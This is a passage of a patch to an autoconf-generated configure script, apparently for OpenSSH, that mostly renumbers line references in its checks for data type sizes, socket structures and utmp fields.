1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext} && (./conftest; exit) 2>/dev/null ++if { (eval echo configure:4561: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext} && (./conftest; exit) 2>/dev/null + then + + rsa_works=1 +@@ -4544,7 +4595,7 @@ + # version in OpenSSL. Skip this for PAM + if test "x$PAM_MSG" = "xno" -a "x$check_for_libcrypt_later" = "x1"; then + echo $ac_n "checking for crypt in -lcrypt""... $ac_c" 1>&6 +-echo "configure:4548: checking for crypt in -lcrypt" >&5 ++echo "configure:4599: checking for crypt in -lcrypt" >&5 + ac_lib_var=`echo crypt'_'crypt | sed 'y%./+-%__p_%'` + if eval "test \"`echo '$''{'ac_cv_lib_$ac_lib_var'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +@@ -4552,7 +4603,7 @@ + ac_save_LIBS="$LIBS" + LIBS="-lcrypt $LIBS" + cat > conftest.$ac_ext <&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then ++if { (eval echo configure:4618: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then + rm -rf conftest* + eval "ac_cv_lib_$ac_lib_var=yes" + else +@@ -4592,7 +4643,7 @@ + + # Checks for data types + echo $ac_n "checking size of char""... $ac_c" 1>&6 +-echo "configure:4596: checking size of char" >&5 ++echo "configure:4647: checking size of char" >&5 + if eval "test \"`echo '$''{'ac_cv_sizeof_char'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 + else +@@ -4600,7 +4651,7 @@ + ac_cv_sizeof_char=1 + else + cat > conftest.$ac_ext < + main() +@@ -4611,7 +4662,7 @@ + exit(0); + } + EOF +-if { (eval echo configure:4615: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext} && (./conftest; exit) 2>/dev/null ++if { (eval echo configure:4666: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext} && (./conftest; exit) 2>/dev/null + then + ac_cv_sizeof_char=`cat conftestval` + else +@@ -4631,7 +4682,7 @@ + + + echo $ac_n "checking size of short int""... $ac_c" 1>&6 +-echo "configure:4635: checking size of short int" >&5 ++echo "configure:4686: checking size of short int" >&5 + if eval "test \"`echo '$''{'ac_cv_sizeof_short_int'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 + else +@@ -4639,7 +4690,7 @@ + ac_cv_sizeof_short_int=2 + else + cat > conftest.$ac_ext < + main() +@@ -4650,7 +4701,7 @@ + exit(0); + } + EOF +-if { (eval echo configure:4654: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext} && (./conftest; exit) 2>/dev/null ++if { (eval echo configure:4705: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext} && (./conftest; exit) 2>/dev/null + then + ac_cv_sizeof_short_int=`cat conftestval` + else +@@ -4670,7 +4721,7 @@ + + + echo $ac_n "checking size of int""... $ac_c" 1>&6 +-echo "configure:4674: checking size of int" >&5 ++echo "configure:4725: checking size of int" >&5 + if eval "test \"`echo '$''{'ac_cv_sizeof_int'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 + else +@@ -4678,7 +4729,7 @@ + ac_cv_sizeof_int=4 + else + cat > conftest.$ac_ext < + main() +@@ -4689,7 +4740,7 @@ + exit(0); + } + EOF +-if { (eval echo configure:4693: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext} && (./conftest; exit) 2>/dev/null ++if { (eval echo configure:4744: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext} && (./conftest; exit) 2>/dev/null + then + ac_cv_sizeof_int=`cat conftestval` + else +@@ -4709,7 +4760,7 @@ + + + echo $ac_n "checking size of long int""... $ac_c" 1>&6 +-echo "configure:4713: checking size of long int" >&5 ++echo "configure:4764: checking size of long int" >&5 + if eval "test \"`echo '$''{'ac_cv_sizeof_long_int'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 + else +@@ -4717,7 +4768,7 @@ + ac_cv_sizeof_long_int=4 + else + cat > conftest.$ac_ext < + main() +@@ -4728,7 +4779,7 @@ + exit(0); + } + EOF +-if { (eval echo configure:4732: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext} && (./conftest; exit) 2>/dev/null ++if { (eval echo configure:4783: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext} && (./conftest; exit) 2>/dev/null + then + ac_cv_sizeof_long_int=`cat conftestval` + else +@@ -4748,7 +4799,7 @@ + + + echo $ac_n "checking size of long long int""... $ac_c" 1>&6 +-echo "configure:4752: checking size of long long int" >&5 ++echo "configure:4803: checking size of long long int" >&5 + if eval "test \"`echo '$''{'ac_cv_sizeof_long_long_int'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 + else +@@ -4756,7 +4807,7 @@ + ac_cv_sizeof_long_long_int=8 + else + cat > conftest.$ac_ext < + main() +@@ -4767,7 +4818,7 @@ + exit(0); + } + EOF +-if { (eval echo configure:4771: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext} && (./conftest; exit) 2>/dev/null ++if { (eval echo configure:4822: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext} && (./conftest; exit) 2>/dev/null + then + ac_cv_sizeof_long_long_int=`cat conftestval` + else +@@ -4789,20 +4840,20 @@ + + # More checks for data types + echo $ac_n "checking for u_int type""... $ac_c" 1>&6 +-echo "configure:4793: checking for u_int type" >&5 ++echo "configure:4844: checking for u_int type" >&5 + if eval "test \"`echo '$''{'ac_cv_have_u_int'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 + else + + cat > conftest.$ac_ext < + int main() { + u_int a; a = 1; + ; return 0; } + EOF +-if { (eval echo configure:4806: \"$ac_compile\") 1>&5; (eval $ac_compile) 2>&5; }; then ++if { (eval echo configure:4857: \"$ac_compile\") 1>&5; (eval $ac_compile) 2>&5; }; then + rm -rf conftest* + ac_cv_have_u_int="yes" + else +@@ -4826,20 +4877,20 @@ + fi + + echo $ac_n "checking for intXX_t types""... $ac_c" 1>&6 +-echo "configure:4830: checking for intXX_t types" >&5 ++echo "configure:4881: checking for intXX_t types" >&5 + if eval "test \"`echo '$''{'ac_cv_have_intxx_t'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 + else + + cat > conftest.$ac_ext < + int main() { + int8_t a; int16_t b; int32_t c; a = b = c = 1; + ; return 0; } + EOF +-if { (eval echo configure:4843: \"$ac_compile\") 1>&5; (eval $ac_compile) 2>&5; }; then ++if { (eval echo configure:4894: \"$ac_compile\") 1>&5; (eval $ac_compile) 2>&5; }; then + rm -rf conftest* + ac_cv_have_intxx_t="yes" + else +@@ -4863,20 +4914,20 @@ + fi + + echo $ac_n "checking for int64_t type""... $ac_c" 1>&6 +-echo "configure:4867: checking for int64_t type" >&5 ++echo "configure:4918: checking for int64_t type" >&5 + if eval "test \"`echo '$''{'ac_cv_have_int64_t'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 + else + + cat > conftest.$ac_ext < + int main() { + int64_t a; a = 1; + ; return 0; } + EOF +-if { (eval echo configure:4880: \"$ac_compile\") 1>&5; (eval $ac_compile) 2>&5; }; then ++if { (eval echo configure:4931: \"$ac_compile\") 1>&5; (eval $ac_compile) 2>&5; }; then + rm -rf conftest* + ac_cv_have_int64_t="yes" + else +@@ -4900,20 +4951,20 @@ + fi + + echo $ac_n "checking for u_intXX_t types""... $ac_c" 1>&6 +-echo "configure:4904: checking for u_intXX_t types" >&5 ++echo "configure:4955: checking for u_intXX_t types" >&5 + if eval "test \"`echo '$''{'ac_cv_have_u_intxx_t'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 + else + + cat > conftest.$ac_ext < + int main() { + u_int8_t a; u_int16_t b; u_int32_t c; a = b = c = 1; + ; return 0; } + EOF +-if { (eval echo configure:4917: \"$ac_compile\") 1>&5; (eval $ac_compile) 2>&5; }; then ++if { (eval echo configure:4968: \"$ac_compile\") 1>&5; (eval $ac_compile) 2>&5; }; then + rm -rf conftest* + ac_cv_have_u_intxx_t="yes" + else +@@ -4937,20 +4988,20 @@ + fi + + echo $ac_n "checking for u_int64_t types""... $ac_c" 1>&6 +-echo "configure:4941: checking for u_int64_t types" >&5 ++echo "configure:4992: checking for u_int64_t types" >&5 + if eval "test \"`echo '$''{'ac_cv_have_u_int64_t'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 + else + + cat > conftest.$ac_ext < + int main() { + u_int64_t a; a = 1; + ; return 0; } + EOF +-if { (eval echo configure:4954: \"$ac_compile\") 1>&5; (eval $ac_compile) 2>&5; }; then ++if { (eval echo configure:5005: \"$ac_compile\") 1>&5; (eval $ac_compile) 2>&5; }; then + rm -rf conftest* + ac_cv_have_u_int64_t="yes" + else +@@ -4977,9 +5028,9 @@ + test "x$ac_cv_header_sys_bitypes_h" = "xyes") + then + echo $ac_n "checking for intXX_t and u_intXX_t types in sys/bitypes.h""... $ac_c" 1>&6 +-echo "configure:4981: checking for intXX_t and u_intXX_t types in sys/bitypes.h" >&5 ++echo "configure:5032: checking for intXX_t and u_intXX_t types in sys/bitypes.h" >&5 + cat > conftest.$ac_ext < +@@ -4992,7 +5043,7 @@ + + ; return 0; } + EOF +-if { (eval echo configure:4996: \"$ac_compile\") 1>&5; (eval $ac_compile) 2>&5; }; then ++if { (eval echo configure:5047: \"$ac_compile\") 1>&5; (eval $ac_compile) 2>&5; }; then + rm -rf conftest* + + cat >> confdefs.h <<\EOF +@@ -5017,13 +5068,13 @@ + + if test -z "$have_u_intxx_t" ; then + echo $ac_n "checking for uintXX_t types""... $ac_c" 1>&6 +-echo "configure:5021: checking for uintXX_t types" >&5 ++echo "configure:5072: checking for uintXX_t types" >&5 + if eval "test \"`echo '$''{'ac_cv_have_uintxx_t'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 + else + + cat > conftest.$ac_ext < +@@ -5032,7 +5083,7 @@ + uint8_t a; uint16_t b; uint32_t c; a = b = c = 1; + ; return 0; } + EOF +-if { (eval echo configure:5036: \"$ac_compile\") 1>&5; (eval $ac_compile) 2>&5; }; then ++if { (eval echo configure:5087: \"$ac_compile\") 1>&5; (eval $ac_compile) 2>&5; }; then + rm -rf conftest* + ac_cv_have_uintxx_t="yes" + else +@@ -5056,13 +5107,13 @@ + fi + + echo $ac_n "checking for socklen_t""... $ac_c" 1>&6 +-echo "configure:5060: checking for socklen_t" >&5 ++echo "configure:5111: checking for socklen_t" >&5 + if eval "test \"`echo '$''{'ac_cv_have_socklen_t'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 + else + + cat > conftest.$ac_ext < +@@ -5072,7 +5123,7 @@ + socklen_t foo; foo = 1235; + ; return 0; } + EOF +-if { (eval echo configure:5076: \"$ac_compile\") 1>&5; (eval $ac_compile) 2>&5; }; then ++if { (eval echo configure:5127: \"$ac_compile\") 1>&5; (eval $ac_compile) 2>&5; }; then + rm -rf conftest* + ac_cv_have_socklen_t="yes" + else +@@ -5095,13 +5146,13 @@ + fi + + echo $ac_n "checking for size_t""... $ac_c" 1>&6 +-echo "configure:5099: checking for size_t" >&5 ++echo "configure:5150: checking for size_t" >&5 + if eval "test \"`echo '$''{'ac_cv_have_size_t'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 + else + + cat > conftest.$ac_ext < +@@ -5110,7 +5161,7 @@ + size_t foo; foo = 1235; + ; return 0; } + EOF +-if { (eval echo configure:5114: \"$ac_compile\") 1>&5; (eval $ac_compile) 2>&5; }; then ++if { (eval echo configure:5165: \"$ac_compile\") 1>&5; (eval $ac_compile) 2>&5; }; then + rm -rf conftest* + ac_cv_have_size_t="yes" + else +@@ -5133,13 +5184,13 @@ + fi + + echo $ac_n "checking for ssize_t""... $ac_c" 1>&6 +-echo "configure:5137: checking for ssize_t" >&5 ++echo "configure:5188: checking for ssize_t" >&5 + if eval "test \"`echo '$''{'ac_cv_have_ssize_t'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 + else + + cat > conftest.$ac_ext < +@@ -5148,7 +5199,7 @@ + ssize_t foo; foo = 1235; + ; return 0; } + EOF +-if { (eval echo configure:5152: \"$ac_compile\") 1>&5; (eval $ac_compile) 2>&5; }; then ++if { (eval echo configure:5203: \"$ac_compile\") 1>&5; (eval $ac_compile) 2>&5; }; then + rm -rf conftest* + ac_cv_have_ssize_t="yes" + else +@@ -5171,13 +5222,13 @@ + fi + + echo $ac_n "checking for clock_t""... $ac_c" 1>&6 +-echo "configure:5175: checking for clock_t" >&5 ++echo "configure:5226: checking for clock_t" >&5 + if eval "test \"`echo '$''{'ac_cv_have_clock_t'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 + else + + cat > conftest.$ac_ext < +@@ -5186,7 +5237,7 @@ + clock_t foo; foo = 1235; + ; return 0; } + EOF +-if { (eval echo configure:5190: \"$ac_compile\") 1>&5; (eval $ac_compile) 2>&5; }; then ++if { (eval echo configure:5241: \"$ac_compile\") 1>&5; (eval $ac_compile) 2>&5; }; then + rm -rf conftest* + ac_cv_have_clock_t="yes" + else +@@ -5209,13 +5260,13 @@ + fi + + echo $ac_n "checking for sa_family_t""... $ac_c" 1>&6 +-echo "configure:5213: checking for sa_family_t" >&5 ++echo "configure:5264: checking for sa_family_t" >&5 + if eval "test \"`echo '$''{'ac_cv_have_sa_family_t'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 + else + + cat > conftest.$ac_ext < +@@ -5225,7 +5276,7 @@ + sa_family_t foo; foo = 1235; + ; return 0; } + EOF +-if { (eval echo configure:5229: \"$ac_compile\") 1>&5; (eval $ac_compile) 2>&5; }; then ++if { (eval echo configure:5280: \"$ac_compile\") 1>&5; (eval $ac_compile) 2>&5; }; then + rm -rf conftest* + ac_cv_have_sa_family_t="yes" + else +@@ -5233,7 +5284,7 @@ + cat conftest.$ac_ext >&5 + rm -rf conftest* + cat > conftest.$ac_ext < +@@ -5244,7 +5295,7 @@ + sa_family_t foo; foo = 1235; + ; return 0; } + EOF +-if { (eval echo configure:5248: \"$ac_compile\") 1>&5; (eval $ac_compile) 2>&5; }; then ++if { (eval echo configure:5299: \"$ac_compile\") 1>&5; (eval $ac_compile) 2>&5; }; then + rm -rf conftest* + ac_cv_have_sa_family_t="yes" + else +@@ -5270,13 +5321,13 @@ + fi + + echo $ac_n "checking for pid_t""... $ac_c" 1>&6 +-echo "configure:5274: checking for pid_t" >&5 ++echo "configure:5325: checking for pid_t" >&5 + if eval "test \"`echo '$''{'ac_cv_have_pid_t'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 + else + + cat > conftest.$ac_ext < +@@ -5285,7 +5336,7 @@ + pid_t foo; foo = 1235; + ; return 0; } + EOF +-if { (eval echo configure:5289: \"$ac_compile\") 1>&5; (eval $ac_compile) 2>&5; }; then ++if { (eval echo configure:5340: \"$ac_compile\") 1>&5; (eval $ac_compile) 2>&5; }; then + rm -rf conftest* + ac_cv_have_pid_t="yes" + else +@@ -5308,13 +5359,13 @@ + fi + + echo $ac_n "checking for mode_t""... $ac_c" 1>&6 +-echo "configure:5312: checking for mode_t" >&5 ++echo "configure:5363: checking for mode_t" >&5 + if eval "test \"`echo '$''{'ac_cv_have_mode_t'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 + else + + cat > conftest.$ac_ext < +@@ -5323,7 +5374,7 @@ + mode_t foo; foo = 1235; + ; return 0; } + EOF +-if { (eval echo configure:5327: \"$ac_compile\") 1>&5; (eval $ac_compile) 2>&5; }; then ++if { (eval echo configure:5378: \"$ac_compile\") 1>&5; (eval $ac_compile) 2>&5; }; then + rm -rf conftest* + ac_cv_have_mode_t="yes" + else +@@ -5347,13 +5398,13 @@ + + + echo $ac_n "checking for struct sockaddr_storage""... $ac_c" 1>&6 +-echo "configure:5351: checking for struct sockaddr_storage" >&5 ++echo "configure:5402: checking for struct sockaddr_storage" >&5 + if eval "test \"`echo '$''{'ac_cv_have_struct_sockaddr_storage'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 + else + + cat > conftest.$ac_ext < +@@ -5363,7 +5414,7 @@ + struct sockaddr_storage s; + ; return 0; } + EOF +-if { (eval echo configure:5367: \"$ac_compile\") 1>&5; (eval $ac_compile) 2>&5; }; then ++if { (eval echo configure:5418: \"$ac_compile\") 1>&5; (eval $ac_compile) 2>&5; }; then + rm -rf conftest* + ac_cv_have_struct_sockaddr_storage="yes" + else +@@ -5386,13 +5437,13 @@ + fi + + echo $ac_n "checking for struct sockaddr_in6""... $ac_c" 1>&6 +-echo "configure:5390: checking for struct sockaddr_in6" >&5 ++echo "configure:5441: checking for struct sockaddr_in6" >&5 + if eval "test \"`echo '$''{'ac_cv_have_struct_sockaddr_in6'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 + else + + cat > conftest.$ac_ext < +@@ -5402,7 +5453,7 @@ + struct sockaddr_in6 s; s.sin6_family = 0; + ; return 0; } + EOF +-if { (eval echo configure:5406: \"$ac_compile\") 1>&5; (eval $ac_compile) 2>&5; }; then ++if { (eval echo configure:5457: \"$ac_compile\") 1>&5; (eval $ac_compile) 2>&5; }; then + rm -rf conftest* + ac_cv_have_struct_sockaddr_in6="yes" + else +@@ -5425,13 +5476,13 @@ + fi + + echo $ac_n "checking for struct in6_addr""... $ac_c" 1>&6 +-echo "configure:5429: checking for struct in6_addr" >&5 ++echo "configure:5480: checking for struct in6_addr" >&5 + if eval "test \"`echo '$''{'ac_cv_have_struct_in6_addr'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 + else + + cat > conftest.$ac_ext < +@@ -5441,7 +5492,7 @@ + struct in6_addr s; s.s6_addr[0] = 0; + ; return 0; } + EOF +-if { (eval echo configure:5445: \"$ac_compile\") 1>&5; (eval $ac_compile) 2>&5; }; then ++if { (eval echo configure:5496: \"$ac_compile\") 1>&5; (eval $ac_compile) 2>&5; }; then + rm -rf conftest* + ac_cv_have_struct_in6_addr="yes" + else +@@ -5464,13 +5515,13 @@ + fi + + echo $ac_n "checking for struct addrinfo""... $ac_c" 1>&6 +-echo "configure:5468: checking for struct addrinfo" >&5 ++echo "configure:5519: checking for struct addrinfo" >&5 + if eval "test \"`echo '$''{'ac_cv_have_struct_addrinfo'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 + else + + cat > conftest.$ac_ext < +@@ -5481,7 +5532,7 @@ + struct addrinfo s; s.ai_flags = AI_PASSIVE; + ; return 0; } + EOF +-if { (eval echo configure:5485: \"$ac_compile\") 1>&5; (eval $ac_compile) 2>&5; }; then ++if { (eval echo configure:5536: \"$ac_compile\") 1>&5; (eval $ac_compile) 2>&5; }; then + rm -rf conftest* + ac_cv_have_struct_addrinfo="yes" + else +@@ -5504,20 +5555,20 @@ + fi + + echo $ac_n "checking for struct timeval""... $ac_c" 1>&6 +-echo "configure:5508: checking for struct timeval" >&5 ++echo "configure:5559: checking for struct timeval" >&5 + if eval "test \"`echo '$''{'ac_cv_have_struct_timeval'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 + else + + cat > conftest.$ac_ext < + int main() { + struct timeval tv; tv.tv_sec = 1; + ; return 0; } + EOF +-if { (eval echo configure:5521: \"$ac_compile\") 1>&5; (eval $ac_compile) 2>&5; }; then ++if { (eval echo configure:5572: \"$ac_compile\") 1>&5; (eval $ac_compile) 2>&5; }; then + rm -rf conftest* + ac_cv_have_struct_timeval="yes" + else +@@ -5551,7 +5602,7 @@ + { echo "configure: error: can not run test program while cross compiling" 1>&2; exit 1; } + else + cat > conftest.$ac_ext < +@@ -5578,7 +5629,7 @@ + #endif + + EOF +-if { (eval echo configure:5582: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext} && (./conftest; exit) 2>/dev/null ++if { (eval echo configure:5633: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext} && (./conftest; exit) 2>/dev/null + then + true + else +@@ -5602,13 +5653,13 @@ + ossh_safe=`echo "utmp.h" | sed 'y%./+-%__p_%'` + ossh_varname="ossh_cv_$ossh_safe""_has_"ut_host + echo $ac_n "checking for ut_host field in utmp.h""... $ac_c" 1>&6 +-echo "configure:5606: checking for ut_host field in utmp.h" >&5 ++echo "configure:5657: checking for ut_host field in utmp.h" >&5 + if eval "test \"`echo '$''{'$ossh_varname'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 + else + + cat > conftest.$ac_ext < + EOF +@@ -5642,13 +5693,13 @@ + ossh_safe=`echo "utmpx.h" | sed 'y%./+-%__p_%'` + ossh_varname="ossh_cv_$ossh_safe""_has_"ut_host + echo $ac_n "checking for ut_host field in utmpx.h""... $ac_c" 1>&6 +-echo "configure:5646: checking for ut_host field in utmpx.h" >&5 ++echo "configure:5697: checking for ut_host field in utmpx.h" >&5 + if eval "test \"`echo '$''{'$ossh_varname'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 + else + + cat > conftest.$ac_ext < + EOF +@@ -5682,13 +5733,13 @@ + ossh_safe=`echo "utmpx.h" | sed 'y%./+-%__p_%'` + ossh_varname="ossh_cv_$ossh_safe""_has_"syslen + echo $ac_n "checking for syslen field in utmpx.h""... $ac_c" 1>&6 +-echo "configure:5686: checking for syslen field in utmpx.h" >&5 ++echo "configure:5737: checking for syslen field in utmpx.h" >&5 + if eval "test \"`echo '$''{'$ossh_varname'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 + else + + cat > conftest.$ac_ext < + EOF +@@ -5722,13 +5773,13 @@ + ossh_safe=`echo "utmp.h" | sed 'y%./+-%__p_%'` + ossh_varname="ossh_cv_$ossh_safe""_has_"ut_pid + echo $ac_n "checking for ut_pid field in utmp.h""... $ac_c" 1>&6 +-echo "configure:5726: checking for ut_pid field in utmp.h" >&5 ++echo "configure:5777: checking for ut_pid field in utmp.h" >&5 + if eval "test \"`echo '$''{'$ossh_varname'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 + else + + cat > conftest.$ac_ext < + EOF +@@ -5762,13 +5813,13 @@ + ossh_safe=`echo "utmp.h" | sed 'y%./+-%__p_%'` + ossh_varname="ossh_cv_$ossh_safe""_has_"ut_type + echo $ac_n "checking for ut_type field in utmp.h""... $ac_c" 1>&6 +-echo "configure:5766: checking for ut_type field in utmp.h" >&5 ++echo "configure:5817: checking for ut_type field in utmp.h" >&5 + if eval "test \"`echo '$''{'$ossh_varname'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 + else + + cat > conftest.$ac_ext < + EOF +@@ -5802,13 +5853,13 @@ + ossh_safe=`echo "utmpx.h" | sed 'y%./+-%__p_%'` + ossh_varname="ossh_cv_$ossh_safe""_has_"ut_type + echo $ac_n "checking for ut_type field in utmpx.h""... $ac_c" 1>&6 +-echo "configure:5806: checking for ut_type field in utmpx.h" >&5 ++echo "configure:5857: checking for ut_type field in utmpx.h" >&5 + if eval "test \"`echo '$''{'$ossh_varname'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 + else + + cat > conftest.$ac_ext < + EOF +@@ -5842,13 +5893,13 @@ + ossh_safe=`echo "utmp.h" | sed 'y%./+-%__p_%'` + ossh_varname="ossh_cv_$ossh_safe""_has_"ut_tv + echo $ac_n "checking for ut_tv field in utmp.h""... $ac_c" 1>&6 +-echo "configure:5846: checking for ut_tv field in utmp.h" >&5 ++echo "configure:5897: checking for ut_tv field in utmp.h" >&5 + if eval "test \"`echo '$''{'$ossh_varname'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 + else + + cat > conftest.$ac_ext < + EOF +@@ -5882,13 +5933,13 @@ + ossh_safe=`echo "utmp.h" | sed 'y%./+-%__p_%'` + ossh_varname="ossh_cv_$ossh_safe""_has_"ut_id + echo $ac_n "checking for ut_id field in utmp.h""... $ac_c" 1>&6 +-echo "configure:5886: checking for ut_id field in utmp.h" >&5 ++echo "configure:5937: checking for ut_id field in utmp.h" >&5 + if eval "test \"`echo '$''{'$ossh_varname'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 + else + + cat > conftest.$ac_ext < + EOF +@@ -5922,13 +5973,13 @@ + ossh_safe=`echo "utmpx.h" | sed 'y%./+-%__p_%'` + ossh_varname="ossh_cv_$ossh_safe""_has_"ut_id + echo $ac_n "checking for ut_id field in utmpx.h""... $ac_c" 1>&6 +-echo "configure:5926: checking for ut_id field in utmpx.h" >&5 ++echo "configure:5977: checking for ut_id field in utmpx.h" >&5 + if eval "test \"`echo '$''{'$ossh_varname'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 + else + + cat > conftest.$ac_ext < + EOF +@@ -5962,13 +6013,13 @@ + ossh_safe=`echo "utmp.h" | sed 'y%./+-%__p_%'` + ossh_varname="ossh_cv_$ossh_safe""_has_"ut_addr + echo $ac_n "checking for ut_addr field in utmp.h""... $ac_c" 1>&6 +-echo "configure:5966: checking for ut_addr field in utmp.h" >&5 ++echo "configure:6017: checking for ut_addr field in utmp.h" >&5 + if eval "test \"`echo '$''{'$ossh_varname'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 + else + + cat > conftest.$ac_ext < + EOF +@@ -6002,13 +6053,13 @@ + ossh_safe=`echo "utmpx.h" | sed 'y%./+-%__p_%'` + ossh_varname="ossh_cv_$ossh_safe""_has_"ut_addr + echo $ac_n "checking for ut_addr field in utmpx.h""... $ac_c" 1>&6 +-echo "configure:6006: checking for ut_addr field in utmpx.h" >&5 ++echo "configure:6057: checking for ut_addr field in utmpx.h" >&5 + if eval "test \"`echo '$''{'$ossh_varname'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 + else + + cat > conftest.$ac_ext < + EOF +@@ -6042,13 +6093,13 @@ + ossh_safe=`echo "utmp.h" | sed 'y%./+-%__p_%'` + ossh_varname="ossh_cv_$ossh_safe""_has_"ut_addr_v6 + echo $ac_n "checking for ut_addr_v6 field in utmp.h""... $ac_c" 1>&6 +-echo "configure:6046: checking for ut_addr_v6 field in utmp.h" >&5 ++echo "configure:6097: checking for ut_addr_v6 field in utmp.h" >&5 + if eval "test \"`echo '$''{'$ossh_varname'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 + else + + cat > conftest.$ac_ext < + EOF +@@ -6082,13 +6133,13 @@ + ossh_safe=`echo "utmpx.h" | sed 'y%./+-%__p_%'` + ossh_varname="ossh_cv_$ossh_safe""_has_"ut_addr_v6 + echo $ac_n "checking for ut_addr_v6 field in utmpx.h""... $ac_c" 1>&6 +-echo "configure:6086: checking for ut_addr_v6 field in utmpx.h" >&5 ++echo "configure:6137: checking for ut_addr_v6 field in utmpx.h" >&5 + if eval "test \"`echo '$''{'$ossh_varname'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 + else + + cat > conftest.$ac_ext < + EOF +@@ -6122,13 +6173,13 @@ + ossh_safe=`echo "utmp.h" | sed 'y%./+-%__p_%'` + ossh_varname="ossh_cv_$ossh_safe""_has_"ut_exit + echo $ac_n "checking for ut_exit field in utmp.h""... $ac_c" 1>&6 +-echo "configure:6126: checking for ut_exit field in utmp.h" >&5 ++echo "configure:6177: checking for ut_exit field in utmp.h" >&5 + if eval "test \"`echo '$''{'$ossh_varname'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 + else + + cat > conftest.$ac_ext < + EOF +@@ -6162,13 +6213,13 @@ + ossh_safe=`echo "utmp.h" | sed 'y%./+-%__p_%'` + ossh_varname="ossh_cv_$ossh_safe""_has_"ut_time + echo $ac_n "checking for ut_time field in utmp.h""... $ac_c" 1>&6 +-echo "configure:6166: checking for ut_time field in utmp.h" >&5 ++echo "configure:6217: checking for ut_time field in utmp.h" >&5 + if eval "test \"`echo '$''{'$ossh_varname'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 + else + + cat > conftest.$ac_ext < + EOF +@@ -6202,13 +6253,13 @@ + ossh_safe=`echo "utmpx.h" | sed 'y%./+-%__p_%'` + ossh_varname="ossh_cv_$ossh_safe""_has_"ut_time + echo $ac_n "checking for ut_time field in utmpx.h""... $ac_c" 1>&6 +-echo "configure:6206: checking for ut_time field in utmpx.h" >&5 ++echo "configure:6257: checking for ut_time field in utmpx.h" >&5 + if eval "test \"`echo '$''{'$ossh_varname'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 + else + + cat > conftest.$ac_ext < + EOF +@@ -6242,13 +6293,13 @@ + ossh_safe=`echo "utmpx.h" | sed 'y%./+-%__p_%'` + ossh_varname="ossh_cv_$ossh_safe""_has_"ut_tv + echo $ac_n "checking for ut_tv field in utmpx.h""... $ac_c" 1>&6 +-echo "configure:6246: checking for ut_tv field in utmpx.h" >&5 ++echo "configure:6297: checking for ut_tv field in utmpx.h" >&5 + if eval "test \"`echo '$''{'$ossh_varname'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 + else + + cat > conftest.$ac_ext < + EOF +@@ -6278,12 +6329,12 @@ + fi + + echo $ac_n "checking for st_blksize in struct stat""... $ac_c" 1>&6 +-echo "configure:6282: checking for st_blksize in struct stat" 